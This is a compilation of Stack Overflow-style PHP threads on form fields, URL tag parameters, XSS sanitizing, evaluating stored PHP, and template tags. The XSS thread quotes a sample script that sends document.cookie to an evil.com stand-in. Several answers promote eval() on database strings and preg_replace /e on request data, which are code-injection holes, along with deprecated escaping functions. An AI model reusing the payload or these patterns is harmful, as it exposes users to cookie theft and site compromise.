PHP - list all form elements within a div - php

Is there a built in php function that will return an array (or some sort of list) of all the form elements within a div or within a specific form by either name or id?
My limited experience in javascript tells me that this can probably be occomplished with javascript but i am wondering if it can be done in php. Thanks for your help.
My only other alternative would be to define a variable at the bottom of each form element like:
$allElements = 'name';
$allElements .= ', phone';
$allElements .= ', email';
and so on.
I am wondering if there is a short cut to this method?

You are going to want to parse the HTML.
$HTML = '<div name="phone"></div>';
$string = strstr($HTML, 'name=\"');
$string = strstr($string, '\"');
something like that...
these are your best friends:
stripos()
strrpos()
strripos()
strstr()
strpbrk()
substr()

Don't really know what you exactly mean.
All variables from a sent form are stored in the $_POST global variable. This will show you the list:
if ($_POST) {
echo '<pre>';
echo print_r($_POST);
echo '</pre>';
}
Maybe you need to parse HTML with PHP - see the answer above.

Related

Additional elements to URLS?

I'm not sure what the terminology is, but basically I have a site that uses the "tag-it" system, currently you can click on the tags and it takes the user to
topics.php?tags=example
My question is what sort of scripting or coding would be required to be able to add additional links?
topics.php?tags=example&tags=example2
or
topics.php?tags=example+example2
Here is the code in how my site is linked to tags.
header("Location: topics.php?tags={$t}");
or
<?php echo strtolower($fetch_name->tags);?>
Thanks for any hints or tips.
You cannot really pass tags two times as a GET parameter although you can pass it as an array
topics.php?tags[]=example&tags[]=example2
Assuming this is what you want try
$string = "topics.php?";
foreach($tags as $t)
{
$string .= "tag[]=$t&";
}
$string = substr($string, 0, -1);
We iterate through the array concatenating value to our $string. The last line removes an extra & symbol that will appear after the last iteration
There is also another option that looks a bit more dirty but might be better depending on your needs
$string = "topics.php?tag[]=" . implode($tags, "&tag[]=");
Note Just make sure the tags array is not empty
topics.php?tags=example&tags=example2
will break in the back end;
you have to assign the data to one variable:
topics.php?tags=example+example2
looks good you can access it in the back end explode it by the + sign:
//toplics.php
<?php
...
$tags = urlencode($_GET['tags']);
$tags_arr = explode('+', $tags); // array of all tags
$current_tags = ""; //make this accessible in the view;
if($tags){
$current_tags = $tags ."+";
}
//show your data
?>
Edit:
you can create the fron-end tags:
<a href="topics.php?tags=<?php echo $current_tags ;?>horror">
horror
</a>

Sanitizing Output To Textarea From XSS

What are the best methods of sanitizing values from a database (in php) if they are to be used in inputs like textareas?
For example, when inserting data, I can strip tags and quotes and replace them with html char codes and then use mysql_real_escape_string right before insertion.
When retrieving that data back, I need it to show up in a textarea. How can I do this and still avoid XSS? (Ex. you could easily type in
</textarea><script type='text/javascript'> Malicious Code</script><textarea>
) and cause problems.
Thanks!
I think i would prefer a combo of filter_var and url_decode if you want to use a pure simple php Solution
Reason
Imagine an impute like this
$maliciousCode = "<script>document.write(\"<img src='http://evil.com/?cookies='\"+document.cookie+\"' style='display:none;' />\");</script> I love PHP";
If i use strip_tags
var_dump(strip_tags($maliciousCode));
Output
string 'document.write("' (length=16)
if i use htmlspecialchars
var_dump(htmlspecialchars($maliciousCode));
Output
string '<script>document.write("<img src='http://evil.com/?cookies='"+document.cookie+"' style='display:none;' />");</script> I love PHP' (length=166)
My Choice
function cleanData($str) {
$str = urldecode ($str );
$str = filter_var($str, FILTER_SANITIZE_STRING);
$str = filter_var($str, FILTER_SANITIZE_SPECIAL_CHARS);
return $str ;
}
$input = cleanData ( $maliciousCode );
var_dump($input);
Output
string 'document.write(&#34;&#34;); I love PHP' (length=46)
If form is using GET instead of POST some can till escape if it is url encoded , you are able to get a minimal information and make sure the final text is harmless
The are also enough class online to help you do filter see
http://www.phpclasses.org/package/2189-PHP-Filter-out-unwanted-PHP-Javascript-HTML-tags-.html
http://htmlpurifier.org/
HTMLpurifier is a great tool for cleaning out unwanted HTML, particularly unwanted JavaScript. Also using htmlspecialchars() is recommended for outputting user-provided content.
After getting a dirty spammer on my contact form I expanded my function that sanitizes textbox user input.It now also covers multi-line textarea input
I needed to format for normal display and also html email from my contact page.
It also gives option to format for a plain text email which I also use.
function clean_text($text, $html = true)
{ if($text == ""){return "";}
$text = nl2br($text,false); // false gives <br>, true gives <br />
$textary = explode("<br>",$text);
foreach($textary as $key => $val)
{ $val = trim($val);
$val = stripslashes($val);
$val = htmlspecialchars($val);
$textary[$key] = $val;
}
if ($html)
{ return implode("<br />",$textary);} //return implode("<br>",$textary);
else
{ return implode("\r\n",$textary);}
}
By the way... Thanks SO members for being part of my learning PHP.
Example at http://www.microcal.ca/scripts/cleantext.php

identify and execute php code on a string

I would like to know if it's possible to execute the php code in a string. I mean if I have:
$string = If i say <?php echo 'lala';?> I wanna get "<?php echo 'dada'; ?>";
Does anybody knows how?
[EDIT] It looks like nobody understood. I wanna save a string like
$string = If i say <?php count(array('lala'));?>
in a database and then render it. I can do it using
function render_php($string){
ob_start();
eval('?>' . $string);
$string = ob_get_contents();
ob_end_clean();
return $string;
}
The problem is that I does not reconize php code into "" (quotes) like
I say "<?php echo 'dada'; ?>"
$string = ($test === TRUE) ? 'lala' : 'falala';
There are lots of ways to do what it looks like you're trying to do (if I'm reading what you wrote correctly). The above is a ternary. If the condition evaluates to true then $string will be set to 'lala' else set to 'falala'.
If you're literally asking what you wrote, then use the eval() function. It takes a passed string and executes it as if it were php code. Don't include the <?php ?> tags.
function dropAllTables() {
// drop all tables in db
}
$string = 'dropAllTables();';
eval($string); // will execute the dropAllTables() function
[edit]
You can use the following regular expression to find all the php code:
preg_match_all('/(<\?php )(.+?)( \?>)/', $string, $php_code, PREG_OFFSET_CAPTURE);
$php_code will be an array where $php_code[0] will return an array of all the matches with the code + <?php ?> tags. $php_code[2] will be an array with just the code to execute.
So,
$string = "array has <?php count(array('lala')); ?> 1 member <?php count(array('falala')); ?>";
preg_match_all('/(<\?php )(.+?)( \?>)/', $string, $php_code, PREG_OFFSET_CAPTURE);
echo $php_code[0][0][0]; // <?php count(array('lala')); ?>
echo $php_code[2][0][0]; // count(array('lala'));
This should be helpful for what you want to do.
Looks like you are trying to concatenate. Use the concatenation operator "."
$string = "if i say " . $lala . " I wanna get " . $dada;
or
$string = "if i say {$lala} I wanna get {$dada}.";
That is what I get since your string looks to be a php variable.
EDIT:
<?php ?> is used when you want to tell the PHP interpreter that the code in those brackets should be interpreted as PHP. When working within those PHP brackets you do not need to include them again. So as you would just do this:
// You create a string:
$myString = "This is my string.";
// You decide you want to add something to it.
$myString .= getMyNameFunction(); // not $myString .= <?php getMyNameFunction() ?>;
The string is created, then the results of getMyNameFunction() are appended to it. Now if you declared the $myString variable at the top of your page, and wanted to use it later you would do this:
<span id="myString"><?php echo $myString; ?></span>
This would tell the interpreter to add the contents of the $myString variable between the tags.
Use token_get_all() on the string, then look for a T_OPEN_TAG token, start copying from there, look for a T_CLOSE_TAG token and stop there. The string between the token next to T_OPEN_TAG and until the token right before T_CLOSE_TAG is your PHP code.
This is fast and cannot fail, since it uses PHP's tokenizer to parse the string. You will always find the bits of PHP code inside the string, even if the string contains comments or other strings which might contain ?> or any other related substrings that will confuse regular expressions or a hand-written, slow, pure PHP parser.
I would consider not storing your PHP code blocks in a database and evaluating them using eval. There is usually a better solution. Read about Design Pattern, OOP, Polymorphism.
You could use the eval() function.

PHP keep me from eval ;) Variables inside string

For reasons I'd rather not get into right now, I have a string like so:
<div>$title</div>
that gets stored in a database using mysql_real_escape_string.
During normal script execution, that string gets parsed and stored in a variable $string and then gets sent to a function($string).
In this function, I am trying to:
function test($string){
$title = 'please print';
echo $string;
}
//I want the outcome to be <div>please print</div>
This seems like the silliest thing, but for the life of me, I cannot get it to "interpret" the variables.
I've also tried,
echo html_entity_decode($string);
echo bin2hex(html_entity_decode($string)); //Just to see what php was actually seeing I thought maybe the $ had a slash on it or something.
I decided to post on here when my mind kept drifting to using EVAL().
This is just pseudocode, of course. What is the best way to approach this?
Your example is a bit abstract. But it seems like you could do pretty much what the template engines do for these case:
function test($string){
$title = 'please print';
$vars = get_defined_vars();
$string = preg_replace('/[$](\w{3,20})/e', '$vars["$1"]', $string);
echo $string;
}
Now actually, /e is pretty much the same as using eval. But at least this only replaces actual variable names. Could be made a bit more sophisticated still.
I don't think there is a way to get that to work. You are trying something like this:
$var = "cute text";
echo 'this is $var';
The single quotes are preventing the interpreter from looking for variables in the string. And it is the same, when you echo a string variable.
The solution will be a simple str_replace.
echo str_replace('$title', $title, $string);
But in this case I really suggest Template variables that are unique in your text.
You just don't do that, a variable is a living thing, it's against its nature to store it like that, flat and dead in a string in the database.
If you want to replace some parts of a string with the content of a variable, use sprintf().
Example
$stringFromTheDb = '<div>%s is not %s</div>';
Then use it with:
$finalString = sprintf($stringFromTheDb, 'this', 'that');
echo $finalString;
will result in:
<div>this is not that</div>
If you know that the variable inside the div is $title, you can str_replace it.
function test($string){
$title = 'please print';
echo str_replace('$title', $title, $string);
}
If you don't know the variables in the string, you can use a regex to get them (I used the regex from the PHP manual).
function test($string){
$title = 'please print';
$vars = '/(?<=\$)[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/';
preg_match_all($vars, $string, $replace);
foreach($replace[0] as $r){
$string = str_replace('$'.$r, $$r, $string);
}
echo $string;
}

Need to extract special tags and replace them based upon their contents using regular expression

I'm working on a simple templating system. Basically I'm setting it up such that a user would enter text populated with special tags of the form: <== variableName ==>
When the system would display the text it would search for all tags of the form mentioned and replace the variableName with its corresponding value from a database result.
I think this would require a regular expression but I'm really messed up in REGEX here. I'm using php btw.
Thanks for the help guys.
A rather quick and dirty hack here:
<?php
$teststring = "Hello <== tag ==>";
$values = array();
$values['tag'] = "world";
function replaceTag($name)
{
global $values;
return $values[$name];
}
echo preg_replace('/<== ([a-z]*) ==>/e','replaceTag(\'$1\')',$teststring);
Output:
Hello world
Simply place your 'variables' in the variable array and they will be replaced.
The e modifier to the regular expression tells it to eval the replacement, the [a-z] lets you name the "variables" using the characters a-z (you could use [a-z0-9] if you wanted to include numbers). Other than that its pretty much standard PHP.
Very useful - Pointed me to what I was looking for...
Replacing tags in a template e.g.
<<page_title>>, <<meta_description>>
with corresponding request variables e,g,
$_REQUEST['page_title'], $_REQUEST['meta_description'],
using a modified version of the code posted:
$html_output=preg_replace('/<<(\w+)>>/e', '$_REQUEST[\'$1\']', $template);
Easy to change this to replace template tags with values from a DB etc...
If you are doing a simple replace, then you don't need to use a regexp. You can just use str_replace() which is quicker.
(I'm assuming your '<== ' and ' ==>' are delimiting your template var and are replaced with your value?)
$subject = str_replace('<== '.$varName.' ==>', $varValue, $subject);
And to cycle through all your template vars...
$tplVars = array();
$tplVars['ONE'] = 'This is One';
$tplVars['TWO'] = 'This is Two';
// etc.
// $subject is your original document
foreach ($tplVars as $varName => $varValue) {
$subject = str_replace('<== '.$varName.' ==>', $varValue, $subject);
}

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